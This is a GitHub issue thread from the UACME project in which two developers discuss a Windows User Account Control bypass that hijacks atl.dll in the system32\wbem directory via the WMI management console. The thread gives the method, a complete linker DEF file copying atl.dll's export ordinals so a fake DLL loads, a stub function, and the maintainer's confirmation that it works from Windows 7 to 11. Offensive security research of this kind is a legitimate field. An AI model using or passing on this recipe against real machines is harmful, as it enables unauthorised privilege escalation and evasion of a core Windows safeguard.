hfiref0x / UACME

Defeating Windows User Account Control
BSD 2-Clause "Simplified" License
6.08k stars 1.3k forks source link

UAC Bypass via "\system32\wbem" Dll Hijack #140

Closed AzAgarampur closed 1 year ago

AzAgarampur commented 1 year ago

Hey man, I stumbled across a simple uac bypass and decided to make a demonstrator for it, do you want to take a look at it?

https://github.com/azAgarampur/byeintegrity9-uac

Idea is simple, you place a dll named "atl.dll" in wbem and open the wmi management microsoft management console document, and the mmc process will attempt to load this dll at this directory, because one of its already-loaded dlls looks for library load call file names in this directory. This one is similar to my version of method 63, as in it does not drop a payload DLL, rather it infects a legit system copy and then moves that over.

hfiref0x commented 1 year ago

Hello,

sure, what is the lowest Windows version where this works?

AzAgarampur commented 1 year ago

Unfortunately I don't have access to any of my VMs right now but I think it should be work from vista/7 because they should use the same mmc system

hfiref0x commented 1 year ago

Have you figured out why target seems doesn't want to load custom atl.dll while yours (shellcode injected) original atl.dll does load? Are there any special preconditions required except fake or forwarded import?

AzAgarampur commented 1 year ago

I believe it does not load a basic payload (dll with custom entrypoint, no exports) because it needs to resolve exports and COM-specific export stuff. I don't think there are any extra special preconditions either. Before I used shellcode injection, it seems you can get it to work with a fully custom DLL as long as you have an identical export table in the fake dll as the real atl.dll does. I used this linker DEF file when I made the custom payload (note: some imports are by ordinal so I copied the original ordinal numbers from real atl.dll):

LIBRARY ATL
EXPORTS
AtlAdvise=dummy @10
AtlAxAttachControl=dummy @41
AtlAxCreateControl=dummy @39
AtlAxCreateControlEx=dummy @40
AtlAxCreateDialogA=dummy @38
AtlAxCreateDialogW=dummy @37
AtlAxDialogBoxA=dummy @36
AtlAxDialogBoxW=dummy @35
AtlAxGetControl=dummy @47
AtlAxGetHost=dummy @48
AtlAxWinInit=dummy @42
AtlComPtrAssign=dummy @30
AtlComQIPtrAssign=dummy @31
AtlCreateTargetDC=dummy @26
AtlDevModeW2A=dummy @29
AtlFreeMarshalStream=dummy @12
AtlGetObjectSourceInterface=dummy @54
AtlGetVersion=dummy @34
AtlHiMetricToPixel=dummy @27
AtlIPersistPropertyBag_Load=dummy @52
AtlIPersistPropertyBag_Save=dummy @53
AtlIPersistStreamInit_GetSizeMax=dummy @60
AtlIPersistStreamInit_Load=dummy @50
AtlIPersistStreamInit_Save=dummy @51
AtlInternalQueryInterface=dummy @32
AtlMarshalPtrInProc=dummy @13
AtlModuleAddCreateWndData=dummy @43
AtlModuleAddTermFunc=dummy @58
AtlModuleExtractCreateWndData=dummy @44
AtlModuleGetClassObject=dummy @15
AtlModuleInit=dummy @16
AtlModuleLoadTypeLib=dummy @56
AtlModuleRegisterClassObjects=dummy @17
AtlModuleRegisterServer=dummy @18
AtlModuleRegisterTypeLib=dummy @19
AtlModuleRegisterWndClassInfoA=dummy @46
AtlModuleRegisterWndClassInfoW=dummy @45
AtlModuleRevokeClassObjects=dummy @20
AtlModuleTerm=dummy @21
AtlModuleUnRegisterTypeLib=dummy @55
AtlModuleUnregisterServer=dummy @22
AtlModuleUnregisterServerEx=dummy @57
AtlModuleUpdateRegistryFromResourceD=dummy @23
AtlPixelToHiMetric=dummy @28
AtlRegisterClassCategoriesHelper=dummy @49
AtlSetErrorInfo=dummy @25
AtlSetErrorInfo2=dummy @59
AtlUnadvise=dummy @11
AtlUnmarshalPtr=dummy @14
AtlWaitWithMessageLoop=dummy @24
DllCanUnloadNow=dummy @33
DllGetClassObject=dummy @61
DllRegisterServer=dummy @62
DllUnregisterServer=dummy @63

The function dummy is defined as:

// c++ style attribute
EXTERN_C [[noreturn]] void dummy()
{
    __debugbreak();
}

The main reason I preferred to use shellcode injection is because I want to make sure the load will work even if atl.dll import/export requirements change sometime in the future.

hfiref0x commented 1 year ago

The reason why it was failing for me is that seems WMI dlls call ATL stuff using ordinals so their correct numbering is required.

AzAgarampur commented 1 year ago

Well my ordinal numbers are from Windows 11 22621.963, maybe your test os is different? I have not tested it on other versions of Windows 10/11.

hfiref0x commented 1 year ago

I'll test and let you know.

hfiref0x commented 1 year ago

So far it works as expected, win7-win11 dev.